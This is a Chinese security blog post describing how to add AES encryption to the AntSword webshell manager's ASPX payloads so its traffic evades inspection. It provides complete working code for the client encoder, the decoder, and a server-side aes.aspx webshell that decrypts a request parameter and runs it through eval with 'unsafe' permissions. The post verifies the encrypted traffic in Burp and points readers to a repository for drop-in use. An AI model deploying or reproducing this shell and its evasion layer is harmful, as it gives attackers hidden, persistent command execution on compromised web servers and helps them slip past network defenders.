本文首发于安全客:https://www.anquanke.com/post/id/244810
0x00 前言
蚁剑优美的客户端界面一直非常吸引人,以至于总可以把它的一些缺点忽略。但发展到2021年了,人们对流量隐私有了更高的要求,包括黑客们。看着蚁剑的对手:冰蝎、哥斯拉都拥有了加密的通信流量,而蚁剑迟迟未出。
作为蚁剑的爱好者,怎么能看着它落后呢。于是乎,今天我们就来给蚁剑ASPX/ASPX类型的Webshell套上加密。为什么单单是ASPX/ASP呢?因为JSP类型的有 yzddmr6 师傅修改了,而PHP的后面再说。
0x01 分析
修改之前,我们可以先看看冰蝎对加密ASPX的实现,冰蝎ASPX的实现和JSP的实现很相似,都是通过加载编译好的字节码,创建对象实例,然后调用equals方法,传入context上下文。这种方法非常好,避免了ASPX利用常规的eval进行命令执行。
前面我们说到,yzddmr6 师傅通过参考冰蝎JSP的实现,成功的用加载字节码的方式,为蚁剑实现了一句话,虽然还缺少加密这个选项,但已经成功踏出一大步。观察蚁剑的编码器文件夹:source/core
,我们可以发现,一开始是没有JSP目录的,所以我们可以自定义下列文件的内容,而不会影响已经存在的的编码器:
但是当我们打开ASPX文件夹时,发现已经存在一些编码器,这样就导致了一个问题:我们如果按照冰蝎的做法,加载字节码,就会修改template
目录下的payload,势必会导致其他的编码器不兼容,而且可能会影响到已经存在的插件。所以我们还剩两种方法:
直接造一个ASPX_AES目录,如同JSP一般,但是这样会大范围修改源码,不符合我们简洁的宗旨- 就在原来ASPX目录上修改,但不影响其他编码器和解码器,注意这的解码器是坑点所在
0x02 AES加密的编码器实现
在crypto-js库的帮助下,我们很快就实现AES_CBC_128_ZeroPadding
加密的编码器
第一步:编写编码器
aspx_aes_128_cbc_en.js
:
xxxxxxxxxx
391'use strict';
2
3const path = require('path');
4
5var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));
6
7function randomRange(min, max){
8 var returnStr = "",
9 range = (max ? Math.round(Math.random() * (max-min)) + min : min),
10 charStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
11 for(var i=0; i<range; i++){
12 var index = Math.round(Math.random() * (charStr.length-1));
13 returnStr += charStr.substring(index,index+1);
14 }
15 return returnStr;
16}
17
18// AES return base64 type of encodedtext
19function encryptTextByAes(keyStr, text){
20 let encodedtext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
21 iv: CryptoJS.enc.Utf8.parse(keyStr),
22 mode: CryptoJS.mode.CBC,
23 padding: CryptoJS.pad.ZeroPadding,
24 }).toString()
25 return encodedtext;
26
27}
28
29
30module.exports = (pwd, data, ext={}) => {
31 let min = 16;
32 let max = 16;
33 let aesKey = randomRange(min, max);
34 data[pwd] = Buffer.from(aesKey).toString("base64") + encryptTextByAes(aesKey, data['_']);
35
36 delete data['_'];
37
38 return data;
39}
第二步:编写服务端脚本
对应的aes.aspx:
xxxxxxxxxx
291<%Page Language="Jscript"%>
2<%
3 var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
4 var b64Enc = new ActiveXObject("System.Security.Cryptography.ToBase64Transform");
5 var b64Dec = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
6 var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
7 aes.Padding = 3;
8 aes.KeySize = 128;
9 function B64Decode(b64Str){
10 var bytes = utf8.GetBytes(b64Str);
11 var decoded_bytes = b64Dec.TransformFinalBlock((bytes), 0, bytes.length);
12 return decoded_bytes;
13 }
14 function Decrypt(cipherText, aesKey){
15 var aesKeyBytes = utf8.GetBytes(aesKey);
16 aes.IV = aesKeyBytes;
17 var cipherBytes = B64Decode(cipherText);
18 var aesDec = aes.CreateDecryptor((aesKeyBytes), (aes.IV));
19 var plainBytes = aesDec.TransformFinalBlock(cipherBytes, 0, cipherBytes.length);
20 var res = utf8.GetString(plainBytes);
21 return res;
22 }
23 var data = Request.Item["ant"];
24 var aesKey = data.substring(0,24);
25 aesKey = utf8.GetString(B64Decode(aesKey));
26 var encrypt_res = data.substring(24);
27 var decrypted = Decrypt(encrypt_res, aesKey);
28 eval(decrypted,"unsafe");
29%>
第三步选择aes编码器:
第四步挂上burp:
加密效果很不错,就是有两个瑕疵:
- 不是所有的参数都加密了,比如上图中左边这个怪米日眼的参数
- 返回内容没加密啊,这不把腚漏出来了吗?
0x03 解码器实现
带着0x02留下的两个鬼一样的问题,我们先看看PHP的base64解码器实现source/core/php/decoder/base64.js
:
这个asoutput函数好像可以拿来用用,我们可以看看其被调用的地方source/core/php/index.js
:
噢噢,asoutput的代码会被拼接到payload,供服务端执行完后输出的编码,至此,好像解决了问题2?
不,他X的PHP有可以获取缓冲区内容的ob_xxx函数,但是ASPX/ASP呢?就他X的一个拦都拦不住的:Response.Write()
????
ASPX太气人了,看看原来的解码器有没有什么办法source/core/aspx/decoder/default.js
:
好家伙,我直接好家伙!直接asoutput返回空。没办法,为了实现把腚遮住的理想,我们继续看看template
目录下payload是如何输出结果的:
多次利用Response.Write()
进行输出,既然是多次输出,那我将所有的输出都放在一个变量里面,然后将变量通过加密函数进行加密,最后再调用Response.Write()
,好像就可以了!
第一步:
添加解码器aspx_aes_128_cbc_de.js
:
xxxxxxxxxx
491'use strict';
2
3
4const path = require('path');
5
6var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));
7
8
9function decryptText(keyStr, text) {
10 let decodedtext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
11 iv: CryptoJS.enc.Utf8.parse(keyStr),
12 mode: CryptoJS.mode.CBC,
13 padding: CryptoJS.pad.ZeroPadding
14 }).toString(CryptoJS.enc.Utf8);
15 return decodedtext;
16}
17
18module.exports = {
19 asoutput: () => {
20 return `
21 function B64Encode(bytes){
22 return System.Convert.ToBase64String(bytes);
23 }
24 function Encrypt(plaintext, aesKey){
25 var aesKeyBytes = utf8.GetBytes(aesKey);
26 var aesEnc = aes.CreateEncryptor(aesKeyBytes, aes.IV);
27 var plainBytes = utf8.GetBytes(plaintext);
28 var cipherBytes = aesEnc.TransformFinalBlock(plainBytes, 0, plainBytes.length);
29 var res = B64Encode(cipherBytes);
30 return res;
31 }
32 function asenc(opcode){
33 var ak = aesKey;
34 return ak + Encrypt(opcode, ak);
35 }
36 `.replace(/\n\s+/g, '');
37 },
38
39 decode_buff: (data, ext={}) => {
40 data = data.toString();
41 try{
42 let aesKey = data.substring(0, 16);
43 return Buffer.from(decryptText(aesKey, data.substring(16)));
44 }
45 catch(e){
46 return data;
47 }
48 }
49}
第二步:
修改source/core/aspx/index.js
:
第三步:
修改template目录下的payload
,顺便把多余的参数放在payload里面:
第四步:
打开burp看一下:
舒服!!!
最后ASPX的源码,直接替换ASPX文件夹就可以:https://github.com/youncyb/AS_ASPX_AES_ENCODE
Comments NOTHING